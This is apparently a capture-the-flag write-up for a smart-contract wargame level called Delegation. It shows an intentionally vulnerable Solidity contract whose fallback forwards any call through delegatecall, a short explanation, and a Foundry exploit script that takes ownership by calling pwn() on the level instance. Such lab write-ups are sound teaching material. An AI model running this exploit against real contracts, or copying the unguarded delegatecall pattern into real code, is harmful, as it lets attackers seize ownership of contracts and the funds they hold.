Level 6 - Delegation ⏺⏺
Level Setup
Level Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}Exploit
The contract forwards any unmatched function calls through to the Delegate contract through the fallback() function. As pwn() is only on the Delegate contract, it's as simple as calling pwn() and having it execute the function on the Delegate instead of the Delegation contract.
Call
pwn().
make anvil-exploit-level-6
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>make holesky-exploit-level-
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
interface IDelegate {
function pwn() external;
}
// ================================================================
// │ LEVEL 6 - DELEGATION │
// ================================================================
contract Exploit is Script, HelperFunctions {
function run() public {
address targetContractAddress = getInstanceAddress();
IDelegate targetContract = IDelegate(targetContractAddress);
vm.startBroadcast();
// Using interface:
targetContract.pwn();
// Without interface:
// targetContractAddress.call(abi.encodeWithSignature("pwn()"));
vm.stopBroadcast();
}
}Submit instance... 🥳
Completion Message
Notes
delegatecall in Solidity
Last updated